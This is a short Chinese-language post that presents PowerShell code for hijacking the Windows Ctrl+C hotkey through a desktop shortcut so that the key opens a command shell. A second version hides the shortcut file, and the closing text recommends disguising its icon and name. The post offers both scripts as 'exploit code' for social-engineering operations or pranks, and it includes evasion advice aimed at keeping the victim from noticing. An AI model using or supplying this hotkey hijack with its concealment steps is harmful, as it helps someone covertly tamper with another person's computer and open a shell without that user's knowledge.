PowerShell劫持Windows快捷键
利用代码:
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\x\Desktop\1.lnk") \\存放快捷方式的路径,这种方式的路径需设置在桌面下。
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.hotkey = "ctrl+c"
$Shortcut.Arguments = 'cmd'
$Shortcut.Save()
代码可实现劫持Windows的快捷键,按下ctrl+c会出现cmd界面。
但是这种设置在桌面下太显眼,如果是做一些类似社工的操作或者恶作剧,就必须隐藏这个快捷方式。
利用代码2.0:
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\x\Desktop\1.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.hotkey = "ctrl+c"
$Shortcut.Arguments = 'cmd'
$Shortcut.Save()
$file = Get-Item C:\Users\x\Desktop\1.lnk
$file.Attributes="hidden"
这种方法仍有不足,当主机开启查看隐藏文件时,就很容易被发现。可以尝试将这个图片包装的更加完美,更改使用的图标,更改文件名。